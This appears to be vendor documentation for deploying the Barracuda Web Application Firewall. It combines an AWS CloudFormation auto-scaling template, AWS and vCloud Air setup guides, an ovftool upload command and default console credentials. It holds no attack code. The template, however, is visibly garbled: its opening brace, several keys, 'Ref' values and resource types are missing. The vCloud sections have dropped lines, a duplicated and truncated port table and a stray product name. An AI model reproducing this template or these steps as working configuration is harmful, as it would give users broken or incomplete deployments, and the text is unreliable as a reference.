"Description": "AWSMP::21be5cf9-5526-4ce1-a532-e77f92b36896::8783df8c-03ac-4005-908f-ae16e7dc8830--Barracuda Web Application
Firewall Auto Scaling and Bootstraping",
"Metadata": {
"AWS::CloudFormation::Interface": {
"ParameterGroups": [
{
"Label": {
"default": "Networking Configuration"
},
"Parameters": [
"VPCid",
"AvailabilityZones",
"SubnetID",
"ELBNames"
]
},
{
"Label": {
"default": "Auto scaling Configuration"
},
"Parameters": [
"InstanceType",
"ScalingMinSize",
"ScalingMaxSize",
"NotificationEmail"
]
},
{
"Label": {
"default": "Barracuda Web Application Firewall Bootstrapping Configuration"
},
"Parameters": [
"WAFServiceName",
"WAFServicePort",
"WAFServerIP",
"WAFServerPort"
]
}
],
"ParameterLabels": {
"VPCid": {
"default": "VPC Id"
},
"AvailabilityZones": {
"default": "Availability Zone(s)"
},
"SubnetID": {
"default": "Subnet Id(s)"
},
"ELBNames": {
"default": "Elastic Load Balancer"
},
"InstanceType": {
"default": "Instance Type"
},
"ScalingMinSize": {
"default": "Minimum Instances"
},
"ScalingMaxSize": {
"default": "Maximum Instances"
},
"NotificationEmail": {
"default": "Notification Email"

},
"WAFServiceName": {
"default": "Service Name"
},
"WAFServicePort": {
"default": "Service Port"
},
"WAFServerIP": {
"default": "Server IP/FQDN"
},
"WAFServerPort": {
"default": "Server Port"
}
}
}
},
"Parameters": {
"Type": "List<AWS::EC2::AvailabilityZone::Name>",
"Description": "Select the Availability Zones of the VPC that will be used for this deployment. Recommended deployment is across multiple
AZ's"
},
"VPCid": {
"Description": "Select the VPC chosen for this deployment",
"Type": "AWS::EC2::VPC::Id"
},
"SubnetID": {
"ConstraintDescription": "Enter valid Subnet Id's associated to the VPC (subnet-*)",
"Type": "List<AWS::EC2::Subnet::Id>",
"Description": "Select subnet id's which has been already assigned to the VPC used. These subnets must reside on AZ's chosen"
},
"ELBNames": {
"ConstraintDescription": "Enter a comma separated list of pre-configured Elastic Load Balancer Names",
"Type": "CommaDelimitedList",
"Description": "Enter a valid pre-configured Elastic Load Balancer name associated to the VPC and Subnet. This is the ELB that will distrubite
traffic to the WAF Cluster"
},
"InstanceType": {
"Default": "m3.medium",
"ConstraintDescription": "Choose from the following EC2 instance types: m3.medium, m3.large, m3.xlarge, m3.2xlarge",
"Type": "String",
"Description": "Choose the instance type to use for this AutoScale group",
"AllowedValues": [
"m3.medium",
"m3.large",
"m3.xlarge",
"m3.2xlarge"
]
},
"ScalingMinSize": {
"Description": "Enter the minimum number of WAF instances (1-20) to be available in the AutoScale Group",
"Default": "1",
"ConstraintDescription": "Must be a number between 1-20",
"Type": "Number",
"MaxValue": "20",
"MinValue": "1"
},
"ScalingMaxSize": {
"Description": "Enter the maximum number of WAF instances (2-20) that can be created in the AutoScale Group",
"Default": "4",
"ConstraintDescription": "Must be a number between 2-20.",
"Type": "Number",
"MaxValue": "20",
"MinValue": "2"
},
"NotificationEmail": {

"Description": "Enter a valid email address to send AutoSclaing Event Notifications",

"Type": "String",
"AllowedPattern": "([a-zA-Z0-9_\\-\\.]+)@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.)|(([a-zA-Z0-9\\-]+\\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\\]?)",
"ConstraintDescription": "Must be a valid email address."
},
"WAFServiceName": {
"Description": "Specify the Service Name to be configured on the Barracuda Web Application Firewall",
"AllowedPattern": "[0-9a-zA-Z-_]*",
"MinLength": "2",
"MaxLength": "64",
"Type": "String"
},
"WAFServicePort": {
"Description": "Specify the Service Port to be configured on the Barracuda Web Application Firewall. This the port that is exposed to the
outside world. Default is 80.",
"Default": "80",
"ConstraintDescription": "Must be a valid port number (1-65535).",
"Type": "Number",
"MaxValue": "65535",
"MinValue": "1"
},
"WAFServerIP": {
"Description": "Specify the Server IP (inside the VPC) to be configured on the Barracuda Web Application Firewall; alternatively, you can also
enter the FQDN of the instance or a downstream ELB to connect to.",
"ConstraintDescription": "Must be a valid IP address or FQDN",
"MinLength": "7",
"MaxLength": "65535",
"Type": "String"
},
"WAFServerPort": {
"Description": "Specify the port number on which the web application responds. This is the port that the Barracuda Web Application Firewall
will use to connect to the application",
"ConstraintDescription": "Must be a valid port number (1-65535).",
"Type": "Number",
"MaxValue": "65535",
"MinValue": "1"
}
},
"Mappings": {
"RegionMap": {
"us-east-1": {
"ImageID": "ami-5f517235"
},
"us-west-1": {
"ImageID": "ami-d67f08b6"
},
"us-west-2": {
"ImageID": "ami-807793e0"
},
"sa-east-1": {
"ImageID": "ami-9f8505f3"
},
"eu-central-1": {
"ImageID": "ami-bdaab3d1"
},
"eu-west-1": {
"ImageID": "ami-5d9e2a2e"
},
"ap-southeast-1": {
"ImageID": "ami-9ab37cf9"
},
"ap-southeast-2": {
"ImageID": "ami-295a7e4a"
},
"ap-northeast-1": {
"ImageID": "ami-01d0e96f"

},
"ap-northeast-2": {
"ImageID": "ami-37ff3159"
}
},
"BandwidthScaleUp": {
"medium": {
"bandwidth": "8750000"
},
"large": {
"bandwidth": "17500000"
},
"xlarge": {
"bandwidth": "35000000"
},
"xxlarge": {
"bandwidth": "65630000"
}
},
"BandwidthScaleDown": {
"medium": {
"bandwidth": "8750000"
},
"large": {
"bandwidth": "17500000"
},
"xlarge": {
"bandwidth": "35000000"
},
"xxlarge": {
"bandwidth": "65630000"
}
}
},
"Resources": {
"NotificationTopic": {
"Type": "AWS::SNS::Topic",
"Properties": {
"Subscription": [
{
"Endpoint": {
"Ref": "NotificationEmail"
},
"Protocol": "email"
}
]
}
},
"S3Bucket": {
"Type": "AWS::S3::Bucket",
"Properties": {
"AccessControl": "BucketOwnerFullControl",
"VersioningConfiguration": {
"Status": "Enabled"
}
}
},
"BWAFAutoScalingS3AccessRole": {
"Type": "AWS::IAM::Role",
"Properties": {
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {

"Service": [
"ec2.amazonaws.com"
]
},
"Action": [
"sts:AssumeRole"
]
}
]
},
"Path": "/",
"Policies": [
{
"PolicyName": "BWAFAutoScalingS3AcccessPolicy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:ListBucket"
],
"Resource": {
"Fn::Join": [
"",
[
"arn:aws:s3:::",
{
"Ref": "S3Bucket"
}
]
]
}
},
{
"Effect": "Allow",
"Action": [
"s3:PutObject",
"s3:GetObject",
"s3:DeleteObject"
],
"Resource": {
"Fn::Join": [
"",
[
"arn:aws:s3:::",
{
"Ref": "S3Bucket"
},
"/*"
]
]
}
}
]
}
}
]
}
},
"BWAFAutoScalingInstanceProfile": {
"Type": "AWS::IAM::InstanceProfile",
"Properties": {
"Path": "/",
"Roles": [
{

"Ref": "BWAFAutoScalingS3AccessRole"
}
]
}
},
"BWAFAutoScaleLaunchConfig": {
"Type": "AWS::AutoScaling::LaunchConfiguration",
"Properties": {
"InstanceMonitoring": "true",
"AssociatePublicIpAddress": true,
"ImageId": {
"Fn::FindInMap": [
"RegionMap",
{
"Ref": "AWS::Region"
},
"ImageID"
]
},
"InstanceType": {
"Ref": "InstanceType"
},
"IamInstanceProfile": {
"Ref": "BWAFAutoScalingInstanceProfile"
},
"SecurityGroups": [
{
"Ref": "BWAFAutoScaleSecurityGroup"
}
],
"UserData": {
"Fn::Base64": {
"Fn::Join": [
"",
[
"#!/bin/bash\n",
"/opt/aws/bwaf/aws_autoscale.pl --command init-config",
" --stack ",
{
"Ref": "AWS::StackName"
},
" --resource BWAFAutoScaleLaunchConfig ",
" --region ",
{
"Ref": "AWS::Region"
},
" --s3bucketname ",
{
"Ref": "S3Bucket"
},
" --restorebackup ",
" --config ",
{
"Fn::Join": [
":",
[
{
"Ref": "WAFServiceName"
},
{
"Ref": "WAFServicePort"
},
{
"Ref": "WAFServerIP"
},
{

"Ref": "WAFServerPort"
}
]
]
}
]
]
}
}
}
},
"BWAFAutoScalingGroup": {
"Type": "AWS::AutoScaling::AutoScalingGroup",
"Properties": {
"MinSize": {
"Ref": "ScalingMinSize"
},
"HealthCheckGracePeriod": "1200",
"MaxSize": {
"Ref": "ScalingMaxSize"
},
"VPCZoneIdentifier": {
"Ref": "SubnetID"
},
"LaunchConfigurationName": {
"Ref": "BWAFAutoScaleLaunchConfig"
},
"Ref": "AvailabilityZones"
},
"NotificationConfigurations": [
{
"TopicARN": {
"Ref": "NotificationTopic"
},
"NotificationTypes": [
"autoscaling:EC2_INSTANCE_LAUNCH",
"autoscaling:EC2_INSTANCE_LAUNCH_ERROR",
"autoscaling:EC2_INSTANCE_TERMINATE",
"autoscaling:EC2_INSTANCE_TERMINATE_ERROR"
]
}
],
"LoadBalancerNames": {
"Ref": "ELBNames"
},
"HealthCheckType": "EC2"
},
"UpdatePolicy": {
"AutoScalingRollingUpdate": {
"PauseTime": "PT10M",
"MaxBatchSize": "1",
"MinInstancesInService": {
"Ref": "ScalingMinSize"
}
}
}
},
"BWAFAutoScaleSecurityGroup": {
"Type": "AWS::EC2::SecurityGroup",
"Properties": {
"GroupDescription": "Default Security group for all WAF instances in the autoscale group",
"VpcId": {
"Ref": "VPCid"
}
}

},
"BWAFSecurityGroupRule1": {
"Type": "AWS::EC2::SecurityGroupIngress",
"Properties": {
"GroupId": {
},
"IpProtocol": "tcp",
"FromPort": "8000",
"ToPort": "8000",
"CidrIp": "0.0.0.0/0"
}
},
"Properties": {
"GroupId": {
},
"FromPort": "8002",
"ToPort": "8002",
"CidrIp": "0.0.0.0/0"
}
},
"Properties": {
"GroupId": {
},
"FromPort": "32575",
"ToPort": "32575",
"CidrIp": "0.0.0.0/0"
}
},
"Properties": {
"GroupId": {
},
"IpProtocol": "udp",
"FromPort": "32576",
"ToPort": "32576",
"CidrIp": "0.0.0.0/0"
}
},
"Properties": {
"GroupId": {
},
"FromPort": "8443",
"ToPort": "8443",
"CidrIp": "0.0.0.0/0"
}
},
"BWAFSecurityGroupServicePortRule": {
"Properties": {
"GroupId": {

},
"FromPort": {
},
"ToPort": {
},
"CidrIp": "0.0.0.0/0"
}
},
"BWAFScaleUpPolicy": {
"Type": "AWS::AutoScaling::ScalingPolicy",
"Properties": {
"ScalingAdjustment": "1",
"Cooldown": "300",
"AutoScalingGroupName": {
"Ref": "BWAFAutoScalingGroup"
},
"AdjustmentType": "ChangeInCapacity"
}
},
"BWAFScaleDownPolicy": {
"Type": "AWS::AutoScaling::ScalingPolicy",
"Properties": {
"ScalingAdjustment": "-1",
"Cooldown": "300",
"AutoScalingGroupName": {
},
"AdjustmentType": "ChangeInCapacity"
}
},
"NetworkInAlarmHigh": {
"Type": "AWS::CloudWatch::Alarm",
"Properties": {
"EvaluationPeriods": "5",
"ComparisonOperator": "GreaterThanOrEqualToThreshold",
"Dimensions": [
{
"Name": "AutoScalingGroupName",
"Value": {
}
}
],
"AlarmActions": [
{
"Ref": "BWAFScaleUpPolicy"
}
],
"Statistic": "Average",
"Threshold": "9175040",
"AlarmDescription": "Scale-up if the NetworkIn throughput > 70% of max throughput for 5 minutes",
"Namespace": "AWS/EC2",
"Period": "300",
"MetricName": "NetworkIn"
}
},
"NetworkInAlarmLow": {
"Properties": {
"ComparisonOperator": "LessThanOrEqualToThreshold",
"Dimensions": [
{

"Value": {
}
}
],
"AlarmActions": [
{
"Ref": "BWAFScaleDownPolicy"
}
],
"Threshold": "5242880",
"AlarmDescription": "Scale-down if the NetworkIn throughput < 50% of max throughput for 10 periods of 15 minutes",
"Period": "900",
"MetricName": "NetworkIn"
}
},
"NetworkOutAlarmHigh": {
"Properties": {
"Dimensions": [
{
"Value": {
}
}
],
"AlarmActions": [
{
}
],
"Threshold": "9175040",
"AlarmDescription": "Scale-up if the NetworkOut throughput > 70% of max throughput for 5 minutes",
"Period": "60",
"MetricName": "NetworkOut"
}
},
"NetworkOutAlarmLow": {
"Properties": {
"Dimensions": [
{
"Value": {
}
}
],
"AlarmActions": [
{
}
],
"Threshold": "5242880",
"AlarmDescription": "Scale-down if the NetworkOut throughput < 50% of max throughput for 10 periods of 15 minutes",

"Period": "900",
"MetricName": "NetworkOut"
}
},
"CPUAlarmHigh": {
"Properties": {
"Dimensions": [
{
"Value": {
}
}
],
"AlarmActions": [
{
}
],
"Threshold": "85",
"AlarmDescription": "Scale out if WAF CPU > 85% after 5 successive intervals of 60 seconds ",
"Period": "60",
"MetricName": "CPUUtilization"
}
},
"CPUAlarmNormal": {
"Properties": {
"Dimensions": [
{
"Value": {
}
}
],
"AlarmActions": [
{
}
],
"Threshold": "60",
"AlarmDescription": "Scale in WAF if CPU < 60% for 10 successive intervals of 15 minutes",
"Period": "900",
"MetricName": "CPUUtilization"
}
}
}
}

How Barracuda CloudFormation Template (CFT) Works

The following flowchart explains how the Barracuda CloudFormation Template works:


With regard to the flowchart, the following steps describe how a Barracuda CloudFormation Template works:
1. A CloudFormation Template (CFT) is uploaded and a stack is created on Amazon Web Services. With this:
a. An Amazon S3 bucket gets created with the specified stack name and unique ID.
b. An appropriate IAM role to access the S3 bucket is added.
2. The Barracuda Web Application Firewall VM(s) will be deployed and provisioned in the Virtual Private Cloud (VPC) specified while
creating the stack.
3. After the Barracuda Web Application Firewall VM(s) is/are up and ready to serve the traffic:
a. It checks the S3 bucket created in step 1 (a) for any other existing VM(s) in this Auto Scaling group.
i. If there is no VM data available in the S3 bucket, the VM is configured based on the service configuration data provided
during CFT upload.
ii. If there is any VM information available in the S3 bucket, the VM clusters with the existing VM and gets all configuration
synchronized to it.
b. Adds its information to the S3 bucket created in step 1 (a). Typically, an S3 bucket stores the instance data such as serial
number and primary IP address (i.e., WAN IP address) of the deployed Barracuda Web Application Firewall VM(s).
4. The Barracuda Web Application Firewall is now ready to serve the traffic to the configured services.
5. If the instance encounters high traffic flow and triggers any of the created alarms, such as high bandwidth utilization, CPU usage, etc.,
then:
a. A new Barracuda Web Application Firewall instance gets initiated automatically.
b. Looks at the S3 bucket created in step 1 (a) and clusters with it.
c. Adds its information to the S3 bucket, and is ready to serve the traffic.
d. Traffic gets distributed among the instances through ELB.
Next Step
Continue with the Importing the Barracuda Web Application Firewall CloudFormation Template and Deploying the Instance article to import the
CFT and deploy the instance.

Importing the Barracuda Web Application Firewall CloudFormation Template and Deploying the Instance
Perform the steps below to import the Barracuda Web Application Firewall CloudFormation Template and deploy the instance:
1. Go to the AWS Marketplace, type Barracuda Web Application Firewall in the Search AWS Marketplace text box and click GO.
2. Select the Barracuda Web Application Firewall.
3. The Barracuda Web Application Firewall page appears on the AWS Marketplace.
4. In the Pricing Details panel:
a. Select the region for the instance to be deployed from the “For region” drop-down list.
b. Select Barracuda Web Application Firewall as Delivery Methods.
c. Click Continue.
5. In the Launch on EC2 page:

a. Select the Barracuda Web Application Firewall version that you want to deploy on AWS.
b. Select the region for the instance.
c. Ensure the Deployment Options is set to Barracuda Web Application Firewall.
d. Check the software pricing for subscription term (Hourly or Annual).
e. Click Launch with CloudFormation Console.

e.
6. In the Create A New Stack page, click Next:

a. On the Specify Details page, do the following configuration:
i. In the Specify Details section:
1. Enter a name for the CloudFormation stack in the Stack Name field.
ii. In the Parameters section, specify values for the following:
Network Configuration
Parameter Name Description

Which VPC should this be deployed to? Select the VPC that you wish to deploy the Barracuda
Web Application Firewall instance(s) from the drop-down
list.
Availability Zone(s) Select the availability zones from the multi-select

drop-down list. The VPC you choose to deploy in must
be available across these availability zones. Note: It is
recommended to deploy the instances in multiple
availability zones.
Subnet ID(s) Select the subnet ID(s) associated with the availability
zone(s) where the Barracuda Web Application Firewall
instance(s) needs to be deployed. Note that these
subnets must be part of the VPC that you choose.
Elastic Load Balancer(s) Enter the name of the elastic load balancer(s) (ELB) that
needs to be used to load balance/distribute the traffic
between the Barracuda Web Application Firewall(s). The
ELB(s) should be connected to all the subnets that are
used for this deployment and be part of the VPC that is
chosen for this deployment.
Auto Scaling Configuration
Instance Type Select an instance type depending on your requirement.
Minimum Instances Enter the minimum number of Barracuda Web

Application Firewall instance(s) that needs to be up and
running continuously in the Auto Scaling group. Default:
1
Maximum Instances Enter the maximum number of Barracuda Web

Application Firewall instance(s) to be deployed in the
Auto Scaling group. Default: 4
Notification Email Enter the email address(es) to which you want Amazon
SNS to send email notifications.
Barracuda Web Application Firewall Bootstrapping Configuration
Service Name Enter a name for the service that needs to be created on
the Barracuda Web Application Firewall(s).
Service Port Enter the port number on which the service is listening
to.
Port 8000 and 8443 should not be used for Se

rvice Port when deploying the Barracuda
Web Application Firewall instances using the
CloudFormation Template (CFT), as these
ports are already used for management
(MGMT) access of the Barracuda Web
Server IP/FQDN Enter the IP address of the server, or Fully Qualified

Domain Name (FQDN) of the ELB front-ending the
servers that needs to be protected by the Barracuda
Web Application Firewall(s) .
If you are deploying a downstream ELB, specify the
FQDN of the ELB to which the Barracuda Web
Application Firewall needs to be connected.
Server Port Enter the port number associated with the server
mentioned in Server IP/FQDN.

b. Click Next to continue.

c. On the Options page, enter a key-value pair to identify the instance(s) of this stack. Click Next.
d. On the Review page, verify the values you entered, select the IAM capability check box, and click Create.

As per the configuration in the CFT above:
1. A stack with the name “BarracudaWAFStackOne” will be created.

2. Deploys one (1) Barracuda Web Application Firewall VM in one of the specified availability zones
(us-west-2a/us-west-2b/us-west-2c), and subnets (subnet-b00551d5/subnet-d8d3b8af/subnet-96921wcf ) with
instance type as m3.medium, and gets added to the "WAFAutoScaleELB" Elastic Load Balancer.
3. Sends notification to autoscale@barracuda.com.
4. Scales up the instance (up to total of 4) whenever the alarm triggers.
5. Creates a service on the Barracuda Web Application Firewall with port 80 that protects the server(s) (FQDN: int
ernal-AutoScaleInternalELB-457486678.us-west-2.elb.amazonaws.com on port 80). The created service can be
accessed over the ELB, i.e., WAFAutoScalELB, using port 80.
6. Creates an IAM role that has explicit access to the created S3 bucket. The IAM role is responsible for storing
and retrieving the information of the deployed Barracuda Web Application Firewalls in this stack.
7. Tags the deployed Barracuda Web Application Firewall VMs with Name as Demo.
8. If AWS is unable to create the stack based on the inputs you provided, the stack will roll back.
7. The CFT now starts its operation. You can see the CREATE_IN_PROGRESS status displayed on the CloudFormation Management
Console for the stack. Select the tabs and see the status of events and resources that are being created. An example of the successfully
created resources is available in the screenshot below:

Next Step
Continue with the Verify the Instance in the Auto Scaling Group article.

Verify the Instance in the Auto Scaling Group

After the CloudFormation template completes its operation and the stack is created, the CREATE_COMPLETE message is displayed in “Status”.
With this, the Barracuda Web Application Firewall instances will be deployed in the specified VPC and boot up with the default configuration. To
verify the instance(s) created for auto scaling, perform the following steps:

2. From the EC2 Dashboard, select Auto Scaling Groups under AUTO SCALING.
3. Select the auto scaling group you created from the Auto Scaling Group list. This will display the details of the auto scaling group.
4. Select Instances under Auto Scaling Group sub-tabs.
5. Click on an Instance ID and note it down. The instance details are displayed in the Instances page. Note: Ensure you note down the Pu
blic IP or Public DNS address.
6. Open a web browser and enter the Public IP or Public DNS address noted in step 5 followed by port 8000 (Example: http://40.41.42.43:
8000 or http://ec2-40-41-42-43.us-west-2.compute.amazonaws.com:8000).
Sometimes you might see the Barracuda loading page when accessing the web interface for the first time. This is because the
Barracuda Web Application Firewall will be booting up with your configuration and takes a few minutes before presenting the
login page.
7. Log into the Barracuda Web Application Firewall web interface using your login credentials:
Username - admin
Password – <Instance ID of the Barracuda Web Application Firewall noted in step 5>
8. On the Barracuda Web Application Firewall web interface:
a. Go to the BASIC > Services page and check if the service is created with the values you specified when creating the stack.
If you had specified the Fully Qualified Domain Name (FQDN) of a downstream ELB, the service will display multiple
servers associated with it. Each of these servers will have an IP address that was returned by resolving the FQDN.
The Barracuda Web Application Firewall will automatically resolve the FQDN at specific intervals and update the IP
addresses in case of changes. The intervals are equal to the Time To Live (TTL) value returned during DNS
resolution.

b. Go to the ADVANCED > High Availability page and check the cluster status. Ensure the cluster page displays all the instances
deployed in this auto scaling group.
9. Repeat the steps 5 to 8 for all other instances in this auto scaling group. Note: In an auto scaling group, each instance has a unique Pub
lic DNS (which includes Public IP address in it), and is associated with same security group. When a new instance is added to the auto
scaling group, you can use the Public DNS or Public IP address of that instance to access it. Refer to step 6 to know how to access the
instance using the Public DNS or Public IP address.
10. Log into the Amazon Management Console and select S3 under Storage and Content Delivery.
11. In the S3 Management Console:
a. An S3 bucket is automatically created with the stack name as part of the unique identifier. Example:
“barracudawafstackone-s3bucket-1pcf5nbtp8uh5”. You can verify that the bucket includes the data of the deployed Barracuda
Web Application Firewall Instances.

vCloud Air
The Barracuda Web Application Firewall provides proven application security and data loss prevention for your applications on vCloud, including:
The Barracuda Web Application Firewall on vCloud protects your applications in the cloud.
In this article:

Before You Begin
Upload the Barracuda Web Application Firewall Package as a vApp Template
Deploy the Barracuda Web Application Firewall Package to vCloud
Deployment Options
One-Arm Deployment Mode
Two-Arm Deployment Mode
To manage vCloud Portal (vCloud Air/vCloud Director), VMware recommends you use the Mozilla Firefox web browser. You will be
asked to download vCloud plugins when you access the vCloud Portal for the first time. You must accept and download the plugins,
which are required for the installation process.
The Barracuda Message Archiver Vx is available on vCloud Air through the Bring Your Own License (BYOL) option only.
With the BYOL option, you must get the Barracuda Web Application Firewall license token, either by:

With this license option, there will be no Barracuda Web Application Firewall Software charges, but VMware vCloud Air usage charg
es on vCloud will be applicable.

For BYOL, Barracuda offers three models for VMware vCloud. The table below lists each model, the corresponding CPU and Memory for the
instance. If you want to increase the performance of a license that you have already purchased, you can buy additional cores from Barracuda and
reconfigure your VM for a larger instance type.
Barracuda Web Application Cores (Maximum) RAM (Recommended Hard Disk (Recommended
Firewall Model Minimum) Minimum)
360 2 2 GB 50 GB
460 3 3 GB 50 GB
660 4 or more(1) 4 GB 50 GB
Note:
(1)
You can add up to 10 cores to your Barracuda Web Application Firewall 660 Vx. The number of cores available is limited only by license.
Add an additional 1 GB RAM for each additional core.
Before You Begin
Before you deploy the Barracuda Web Application Firewall on vCloud, ensure you have the following required components:
A Barracuda Web Application Firewall license (Evaluation / Purchase).

A vCloud account.
The Virtual Public Cloud (VPC) on your vCloud account.
Upload the Barracuda Web Application Firewall Package as a vApp Template
You must install the VMware OVF tool to complete the steps in this section. The VMware OVF tool is available for Windows 32-bit and
64-bit, Linux 32-bit and 64-bit, and Mac OS X. This article describes how to install the tool on Linux and upload the Barracuda OVA
package. For details on installing the tool on other supported platforms, refer to the VMware OVF Tool Documentation.
Use the following steps to install the VMware OVF tool on Linux and upload the Barracuda OVA package:
1. Log in to https://my.vmware.com/web/vmware/login, and go to the Product Download page.

2. Download and install the latest Linux version of OVF Tool to your Linux host.
3. On your Linux system, open a terminal window and run the following command:
ovftool --sourceType="OVA" --vCloudTemplate="false" "Source_Location"
"vcloud://@vCloud_Director_Hostname?vdc=Org_vDC&org=Organization_Name&vappTemplate=Name_For_Uploaded
_File&catalog=Organization_Catalog_Name"
Where:
Parameter Description Example
sourceType Source file type; OVA is the required OVA

Barracuda package source file type
vCloudTemplate Set to false to create a vApp template false

only; must be set to false for Barracuda
packages
Source_Location Barracuda OVA package source file /home/user1/Downloads/Barracuda

download location WAF-vm4.2.6-fw2.6.2.1-20160105.
ova
vCloud_Director_Hostname vCloud Air region URL uk-slough-1-6.vchs.vmware.com
vdc Target Virtual Data Center (vDC) where Platform_Team

you want to upload the package
org Organization name; available from your aa66669c-d35b-444d-b570-23aase5

vCloud Director URL eag5f
vappTemplate Name for uploaded Barracuda OVA BarracudaWAF-vm4.2.6-fw2.6.2.1-

package 20160105
catalog vCloud Air catalog name where you want Test1_catalog

to upload the Barracuda package

For example:
ovftool --sourceType="OVA" --vCloudTemplate="false"

"/home/user1/Downloads/BarracudaBMA-vm4.2.6-fw2.6.2.1-20160105.ova"
"vcloud://@uk-slough-1-6.vchs.vmware.com?vdc=Platform_Team&org=aa66669c-d35b-444d-b570-23aase5eag5f&
vappTemplate=BarracudaWAF-vm4.2.6-fw2.6.2.1-20160105&catalog=Test1_catalog"
4. When prompted, enter your vCloud account Username and Password, and press Enter.
5. In the Barracuda End User License Agreement (EULA) page, read the agreement and scroll to the end of the page. Type yes to
accept the license agreement, and press Enter to begin uploading the package.
6. Allow the upload to complete.
Deploy the Barracuda Web Application Firewall Package to vCloud
Use the following steps to deploy the Barracuda Web Application Firewall on vCloud using the uploaded package:
1. In the VMware Cloud Director window, click the Home tab.

2. Click Add vApp from Catalog under Quick Access.
3. In the Add vApp from Catalog window:
a. Click All Templates under Select vApp Template.
b. Select the uploaded template from the list and click Next.
c. Read the license agreement, select I agree and accept the above license agreements, and click Next.
d. Enter a name and description. Select a Virtual Datacenter for the vApp under Select Name and Location. Click Next.
e. Select a storage policy for the virtual machine under Configure Resources, and click Next.
f. Under Configure Networking:
i. Select Switch to the advanced networking workflow.
ii. Enter the Computer Name.
iii. Ensure the Network Adapter type is VMXNET3.
iv. Select the default-routed-network (or the network adapter with internet access) for Network.
This network is the WAN network on the Barracuda Web Application Firewall.
v. Select Static-Manual from the list under IP Assignment, and enter the Static IP address for the Barracuda Web
Application Firewall. Click Next.

g. Leave Advanced Networking settings as is, and click Next.

h. Under Customize Hardware, configure the CPU, Memory, and Hard Disks based on your Barracuda Web Application Firewall
license. Click Next. For information on license options, see BYOL Models and Instance Types above.
i. On the Ready to Complete page, review the settings and click Finish.
4. The Home tab displays the new vApp status as Creating.

5. Once the vApp is created, the status changes to Stopped.
6. Choose the deployment mode for the Barracuda Web Application Firewall and continue with the steps in that deployment mode. See the
Deployment Options section below.
Deployment Options

In One-Arm deployment mode, one interface is required for the Barracuda Web Application Firewall. This interface will be the WAN interface of

the Barracuda Web Application Firewall and all web servers reside in the same network.
To deploy the Barracuda Web Application Firewall in One-Arm mode, perform the following steps:
1. Right click on the created vApp and select Open.
2. Select the Virtual Machines tab, right click on the VM and select Power On. The Barracuda Web Application Firewall starts booting up.

3. Configure the NAT and Firewall rules for the Barracuda Web Application Firewall to communicate with the internet. To configure the NAT
and Firewall rules, follow the steps in the Configure NAT and Firewall Rules on vCloud article.
The following ports should be opened on your firewall for the Barracuda Web Application Firewall to operate properly:
Port Direction TCP UDP Usage
22 Out Yes No Technical Support

Connections
25 In/Out Yes No Email Alerts
53 Out Yes Yes Domain Name Service

(DNS)
80/8000 Out Yes No Virus/Attack/Security

Definitions and Firmware
Updates
123 Out No Yes Network Time Protocol

(NTP)
80 Out Yes No Initial Provisioning *
Note:
* The initial provisioning port can be disabled once the provisioning process is complete.
In Two-Arm deployment mode, two interfaces are required for the Barracuda Web Application Firewall, one for WAN and the other for LAN. In this
mode, all web servers are in a separate private network (i.e. LAN).
Pre-requisite: Ensure you have a private network configured where all your web servers are deployed.
To deploy the Barracuda Web Application Firewall in Two-Arm mode, perform the following steps:
1. Right click on the created vApp and select Open.

2. Select the Networking tab, and click on the plus icon to add the network. The New vApp Network Wizard appears.
3. On the New vApp Network Wizard window:

a. Select Organization VDC network under Network Type, and click Next.

b. Select the private network where your web servers are configured under Organization VDC Network, and click Finish.
4. The selected network displays in the Configure Networking section.
5. Click Apply to apply the changes.
6. Select the Virtual Machines tab.
7. Right click on the Barracuda Web Application Firewall VM and select Properties. The Virtual Machine Properties window appears.
8. On the Virtual Machine Properties window:
a. Select the Hardware tab.
b. Scroll down to the NICs section, select Show network adapter type, and click Add to add one or more networks to the virtual
machine. Configure the following in the NIC fields:
i. Ensure the Connected check box is selected.
ii. Select the private network under Network that you want to configure as LAN on the Barracuda Web Application
Firewall.
iii. Ensure you do not make the private network the Primary NIC.
iv. Select VMXNET3 from the Adapter Type list.
v. Select Static - Manual for IP Mode, and configure the Static IP address for the interface from the network.
c. Click OK.

9. Select the Virtual Machines tab, right click on the Barracuda Web Application Firewall VM and select Power On. The Barracuda Web
Application Firewall starts booting up.
10. Configure the NAT and Firewall rules for the Barracuda Web Application Firewall to communicate with the internet. To configure the NAT
and Firewall rules, follow the steps in the Configure NAT and Firewall Rules on vCloud article.
The following ports should be opened on your firewall for the Barracuda Web Application Firewall to operate properly:

Connections
25 In/Out Yes No Email Alerts

(DNS)
80/8000 Out Yes No Virus/Attack/Security

Definitions and Firmware
Updates

(NTP)
80 Out Yes No Initial Provisioning *
Note:
* The initial provisioning port can be disabled once the provisioning process is complete.
Continue with Barracuda Web Application Firewall Quick Start Guide - vCloud.

Barracuda Web Application Firewall Quick Start Guide on vCloud Air

After deploying the Barracuda Web Application Firewall on vCloud, proceed with the following steps:
Configure TCP/IP for the Barracuda Web Application Firewall

Licensing of the Barracuda Web Application Firewall
Accept End User License Agreement, Verify Configuration, and Change the Web Interface Password
Update the Firmware
Configure TCP/IP for the Barracuda Web Application Firewall
1. Log into the vCloud Portal.

2. Select Virtual Private Cloud OnDemand, and then select a region for the VPC.
3. Under Virtual Data Centers, select a VPC.
4. Right click on the created Barracuda Web Application Firewall VM and select Open in Console. The vApp console appears.
5. On the vApp console, the system boots up and prompts you to log in. Use the following credentials:
Username: admin
Password: admin
6. In the System Configuration window, navigate to TCP/IP Configuration using the down arrow key on your keyboard and do the
following:
a. WAN IP Address: Configure the same IP address configured for the Barracuda Web Application Firewall on the vCloud portal
when deploying.
b. WAN Netmask: Enter the netmask of your network.
c. Gateway Address: Enter the gateway of your network.
d. Primary DNS Server: Enter the IP address of the Primary DNS server that resides in your network.
e. Secondary DNS Server: Enter the IP address of the Secondary DNS server that resides in your network.
f. Save the configuration.
If you are unaware of the network configuration, follow the steps below:

4. Select the Networks tab, and click to view the configuration.

Licensing of the Barracuda Web Application Firewall

4. Right click on the created Barracuda Web Application Firewall VM and select Open in Console. The vApp console appears.
5. On the vApp console, the system boots up and prompts you to log in. Use the following credentials:
6. In the System Configuration window, navigate to Licensing using the down arrow key on your keyboard. Enter your Barracuda License
Token and Default Domain to complete provisioning. Save the configuration. This will reboot the system.
